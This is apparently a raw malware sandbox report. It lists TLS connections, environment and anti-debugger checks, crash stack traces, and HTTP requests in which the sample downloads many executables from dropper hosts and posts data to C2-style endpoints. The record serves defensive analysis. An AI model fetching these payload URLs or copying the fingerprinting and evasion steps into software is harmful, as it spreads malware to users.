172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49252
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49268
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49235
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49261
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49236
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49274
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49238
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49250
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49259
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49263
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49281
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49219
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49222
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49226
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49239
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49231
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49240
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49241
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49232
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49245
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49246
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49233
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49257
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49260
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49269
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49275
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49283
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49286
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49287
162.0.210.44:443 		C=CH, L=Schaffhausen, O=Plesk, CN=Plesk/emailAddress=info@plesk.com C=CH, L=Schaffhausen, O=Plesk, CN=Plesk/emailAddress=info@plesk.com 68:49:fa:d2:40:0d:bd:3f:c0:6e:bf:50:6f:a8:1c:a3:3e:f4:40:cf
TLSv1
192.168.56.103:49291
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49296
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49285
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49297
104.21.85.99:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49248
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49289
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49292
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49253
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49293
88.99.66.31:443 		C=US, O=Let's Encrypt, CN=R3 CN=iplogger.com 92:14:16:9c:56:a1:f2:6a:b9:1d:e1:8d:4c:5f:a4:57:a7:9c:a0:6b
TLSv1
192.168.56.103:49302
104.21.85.99:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49303
104.21.85.99:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49255
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49308
104.21.85.99:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49299
104.21.85.99:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49305
104.21.85.99:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49264
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49309
104.21.85.99:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49265
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49272
52.219.158.38:443 		C=US, O=Amazon, OU=Server CA 1B, CN=Amazon CN=*.s3.ap-south-1.amazonaws.com c6:36:df:af:09:de:c1:11:cd:93:7d:ef:05:10:32:ae:12:cd:7d:b8
TLSv1
192.168.56.103:49280
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49304
104.21.85.99:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49312
104.21.85.99:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49314
104.21.85.99:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49317
104.21.85.99:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49211
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49316
88.99.66.31:443 		C=GB, ST=Greater Manchester, L=Salford, O=Sectigo Limited, CN=Sectigo RSA Domain Validation Secure Server CA CN=*.iplogger.org 55:1e:13:99:46:1c:67:40:a3:48:7f:38:0d:16:e7:51:f4:c4:43:cb
TLSv1
192.168.56.103:49215
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49217
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49284
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49228
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49242
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49243
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49256
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49266
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49270
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49273
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49300
104.21.85.99:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49288
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49301
104.21.85.99:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49295
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49311
104.21.85.99:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
resource name DLL
Time & API Arguments Status Return Repeated

__exception__

 stacktrace: 
CryptGenRandom+0x26 CryptGetUserKey-0x6a cryptsp+0x4f99 @ 0x73b34f99
0x3bac6ed
0x3bac79a
0x3bac808
0x3b20a09
0x3b21cba
0x3b21290
0x3b215cd
0x3b38939
0x3b6d9d7
0x3b6ddeb
0x3bcf571
0x3bcf654
cube_ww14+0x2424 @ 0x192424
cube_ww14+0x4658 @ 0x194658
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x768733ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x772e9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x772e9ea5

exception.instruction_r: 81 78 74 11 11 11 11 75 2d 83 c0 78 50 ff 15 44
exception.instruction: cmp dword ptr [eax + 0x74], 0x11111111
exception.exception_code: 0xc0000005
exception.symbol: CryptEnumProvidersA+0x1dc CheckSignatureInFile-0x9f6 cryptsp+0x34b2
exception.address: 0x73b334b2
registers.esp: 34072436
registers.edi: 0
registers.eax: 0
registers.ebp: 34072476
registers.edx: 32
registers.ebx: 34072780
registers.esi: 0
registers.ecx: 9557744
1 0 0

__exception__

 stacktrace: 
CryptGenRandom+0x26 CryptGetUserKey-0x6a cryptsp+0x4f99 @ 0x73b34f99
0x3bac6ed
0x3bac79a
0x3bac808
0x3b20a09
0x3b21cba
0x3b2129e
0x3b215cd
0x3b38939
0x3b6d9d7
0x3b6ddeb
0x3bcf571
0x3bcf654
cube_ww14+0x2424 @ 0x192424
cube_ww14+0x4658 @ 0x194658
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x768733ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x772e9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x772e9ea5

exception.instruction_r: 81 78 74 11 11 11 11 75 2d 83 c0 78 50 ff 15 44
exception.instruction: cmp dword ptr [eax + 0x74], 0x11111111
exception.exception_code: 0xc0000005
exception.symbol: CryptEnumProvidersA+0x1dc CheckSignatureInFile-0x9f6 cryptsp+0x34b2
exception.address: 0x73b334b2
registers.esp: 34072436
registers.edi: 0
registers.eax: 0
registers.ebp: 34072476
registers.edx: 32
registers.ebx: 34072780
registers.esi: 0
registers.ecx: 9557744
1 0 0

__exception__

 stacktrace: 
CryptGenRandom+0x26 CryptGetUserKey-0x6a cryptsp+0x4f99 @ 0x73b34f99
0x3bac6ed
0x3bac79a
0x3bac808
0x3b20a09
0x3b21cba
0x3b21290
0x3b215cd
0x3b38939
0x3b39831
0x3b66065
0x3b66d41
0x3b6dbbe
0x3b6ddeb
0x3bcf571
0x3bcf654
cube_ww14+0x2424 @ 0x192424
cube_ww14+0x4658 @ 0x194658
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x768733ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x772e9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x772e9ea5

exception.instruction_r: 81 78 74 11 11 11 11 75 2d 83 c0 78 50 ff 15 44
exception.instruction: cmp dword ptr [eax + 0x74], 0x11111111
exception.exception_code: 0xc0000005
exception.symbol: CryptEnumProvidersA+0x1dc CheckSignatureInFile-0x9f6 cryptsp+0x34b2
exception.address: 0x73b334b2
registers.esp: 34066468
registers.edi: 0
registers.eax: 0
registers.ebp: 34066508
registers.edx: 32
registers.ebx: 34066812
registers.esi: 0
registers.ecx: 9559224
1 0 0

__exception__

 stacktrace: 
CryptGenRandom+0x26 CryptGetUserKey-0x6a cryptsp+0x4f99 @ 0x73b34f99
0x3bac6ed
0x3bac79a
0x3bac808
0x3b20a09
0x3b21cba
0x3b2129e
0x3b215cd
0x3b38939
0x3b39831
0x3b66065
0x3b66d41
0x3b6dbbe
0x3b6ddeb
0x3bcf571
0x3bcf654
cube_ww14+0x2424 @ 0x192424
cube_ww14+0x4658 @ 0x194658
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x768733ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x772e9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x772e9ea5

exception.instruction_r: 81 78 74 11 11 11 11 75 2d 83 c0 78 50 ff 15 44
exception.instruction: cmp dword ptr [eax + 0x74], 0x11111111
exception.exception_code: 0xc0000005
exception.symbol: CryptEnumProvidersA+0x1dc CheckSignatureInFile-0x9f6 cryptsp+0x34b2
exception.address: 0x73b334b2
registers.esp: 34066468
registers.edi: 0
registers.eax: 0
registers.ebp: 34066508
registers.edx: 32
registers.ebx: 34066812
registers.esi: 0
registers.ecx: 9559224
1 0 0

__exception__

 stacktrace: 
CryptGenRandom+0x26 CryptGetUserKey-0x6a cryptsp+0x4f99 @ 0x73b34f99
0x3bac6ed
0x3bac79a
0x3bac808
0x3b20a09
0x3b21cba
0x3b21290
0x3b215cd
0x3b38939
0x3b39095
0x3b66eb3
0x3b6dbbe
0x3b6ddeb
0x3bcf571
0x3bcf654
cube_ww14+0x2424 @ 0x192424
cube_ww14+0x4658 @ 0x194658
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x768733ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x772e9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x772e9ea5

exception.instruction_r: 81 78 74 11 11 11 11 75 2d 83 c0 78 50 ff 15 44
exception.instruction: cmp dword ptr [eax + 0x74], 0x11111111
exception.exception_code: 0xc0000005
exception.symbol: CryptEnumProvidersA+0x1dc CheckSignatureInFile-0x9f6 cryptsp+0x34b2
exception.address: 0x73b334b2
registers.esp: 34066884
registers.edi: 0
registers.eax: 0
registers.ebp: 34066924
registers.edx: 32
registers.ebx: 34067228
registers.esi: 0
registers.ecx: 8982392
1 0 0

__exception__

 stacktrace: 
CryptGenRandom+0x26 CryptGetUserKey-0x6a cryptsp+0x4f99 @ 0x73b34f99
0x3bac6ed
0x3bac79a
0x3bac808
0x3b20a09
0x3b21cba
0x3b2129e
0x3b215cd
0x3b38939
0x3b39095
0x3b66eb3
0x3b6dbbe
0x3b6ddeb
0x3bcf571
0x3bcf654
cube_ww14+0x2424 @ 0x192424
cube_ww14+0x4658 @ 0x194658
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x768733ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x772e9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x772e9ea5

exception.instruction_r: 81 78 74 11 11 11 11 75 2d 83 c0 78 50 ff 15 44
exception.instruction: cmp dword ptr [eax + 0x74], 0x11111111
exception.exception_code: 0xc0000005
exception.symbol: CryptEnumProvidersA+0x1dc CheckSignatureInFile-0x9f6 cryptsp+0x34b2
exception.address: 0x73b334b2
registers.esp: 34066884
registers.edi: 0
registers.eax: 0
registers.ebp: 34066924
registers.edx: 32
registers.ebx: 34067228
registers.esi: 0
registers.ecx: 8982392
1 0 0

__exception__

 stacktrace: 
CryptGenRandom+0x26 CryptGetUserKey-0x6a cryptsp+0x4f99 @ 0x73b34f99
0x3bac6ed
0x3bac79a
0x3bac808
0x3b20a09
0x3b21cba
0x3b21290
0x3b215cd
0x3b38939
0x3b619c1
0x3b6b898
0x3b6dbbe
0x3b6ddeb
0x3bcf571
0x3bcf654
cube_ww14+0x2424 @ 0x192424
cube_ww14+0x4658 @ 0x194658
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x768733ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x772e9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x772e9ea5

exception.instruction_r: 81 78 74 11 11 11 11 75 2d 83 c0 78 50 ff 15 44
exception.instruction: cmp dword ptr [eax + 0x74], 0x11111111
exception.exception_code: 0xc0000005
exception.symbol: CryptEnumProvidersA+0x1dc CheckSignatureInFile-0x9f6 cryptsp+0x34b2
exception.address: 0x73b334b2
registers.esp: 34061940
registers.edi: 0
registers.eax: 0
registers.ebp: 34061980
registers.edx: 32
registers.ebx: 34062284
registers.esi: 0
registers.ecx: 63317984
1 0 0

__exception__

 stacktrace: 
CryptGenRandom+0x26 CryptGetUserKey-0x6a cryptsp+0x4f99 @ 0x73b34f99
0x3bac6ed
0x3bac79a
0x3bac808
0x3b20a09
0x3b21cba
0x3b2129e
0x3b215cd
0x3b38939
0x3b619c1
0x3b6b898
0x3b6dbbe
0x3b6ddeb
0x3bcf571
0x3bcf654
cube_ww14+0x2424 @ 0x192424
cube_ww14+0x4658 @ 0x194658
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x768733ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x772e9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x772e9ea5

exception.instruction_r: 81 78 74 11 11 11 11 75 2d 83 c0 78 50 ff 15 44
exception.instruction: cmp dword ptr [eax + 0x74], 0x11111111
exception.exception_code: 0xc0000005
exception.symbol: CryptEnumProvidersA+0x1dc CheckSignatureInFile-0x9f6 cryptsp+0x34b2
exception.address: 0x73b334b2
registers.esp: 34061940
registers.edi: 0
registers.eax: 0
registers.ebp: 34061980
registers.edx: 32
registers.ebx: 34062284
registers.esi: 0
registers.ecx: 63317984
1 0 0
suspicious_features Connection to IP address suspicious_request GET http://45.133.1.107/server.txt
suspicious_features Connection to IP address suspicious_request GET http://212.192.241.15/base/api/statistics.php
suspicious_features POST method with no referer header, Connection to IP address suspicious_request POST http://212.192.241.15/base/api/getData.php
suspicious_features Connection to IP address suspicious_request HEAD http://45.133.1.107/download/NiceProcessX64.bmp
suspicious_features Connection to IP address suspicious_request GET http://45.133.1.107/download/NiceProcessX64.bmp
suspicious_features POST method with no referer header suspicious_request POST http://staticimg.youtuuee.com/api/?sid=600653&key=bfe10d3bf124f043738c20f287bfc0c2
suspicious_features GET method with no useragent header suspicious_request GET http://fouratlinks.com/stockmerchandise/zillaCPM/r4XZt5MYHpEdcdmzqr2D.exe
suspicious_features GET method with no useragent header suspicious_request GET http://fouratlinks.com/stockmerchandise/serious_punch_upd/HttpTwcyK3R6gQj7t7EY.exe
suspicious_features GET method with no useragent header suspicious_request GET http://fouratlinks.com/stockmerchandise/total_out_hand/v8hBqWuKscbjZRqNatPw.exe
suspicious_features GET method with no useragent header suspicious_request GET http://fouratlinks.com/Widgets/FolderShare.exe
suspicious_features POST method with no referer header, POST method with no useragent header suspicious_request POST http://requestimedout.com/xenocrates/zoroaster
suspicious_features POST method with no referer header, POST method with no useragent header suspicious_request POST https://connectini.net/Series/SuperNitouDisc.php
suspicious_features GET method with no useragent header suspicious_request GET https://connectini.net/S2S/Disc/Disc.php?ezok=folderlyla1&tesla=7
request GET http://45.133.1.107/server.txt
request GET http://212.192.241.15/base/api/statistics.php
request POST http://212.192.241.15/base/api/getData.php
request HEAD http://45.133.1.107/download/NiceProcessX64.bmp
request GET http://45.133.1.107/download/NiceProcessX64.bmp
request HEAD http://dataonestorage.com/search_hyperfs_209.exe
request HEAD http://imgs.googlwaa.com/lqosko/p18j/cust9.exe
request HEAD http://eguntong.com/pub33.exe
request HEAD http://www.hzradiant.com/askhelp42/askinstall42.exe
request GET http://imgs.googlwaa.com/lqosko/p18j/cust9.exe
request GET http://apps.identrust.com/roots/dstrootcax3.p7c
request GET http://eguntong.com/pub33.exe
request HEAD http://www.hzradiant.com/askinstall42.exe
request GET http://www.hzradiant.com/askhelp42/askinstall42.exe
request GET http://www.hzradiant.com/askinstall42.exe
request GET http://dataonestorage.com/search_hyperfs_209.exe
request GET http://ip-api.com/json/
request GET http://staticimg.youtuuee.com/api/fbtime
request POST http://staticimg.youtuuee.com/api/?sid=600653&key=bfe10d3bf124f043738c20f287bfc0c2
request HEAD http://fouratlinks.com/installpartners/ShareFolder.exe
request GET http://fouratlinks.com/installpartners/ShareFolder.exe
request GET http://fouratlinks.com/stockmerchandise/zillaCPM/r4XZt5MYHpEdcdmzqr2D.exe
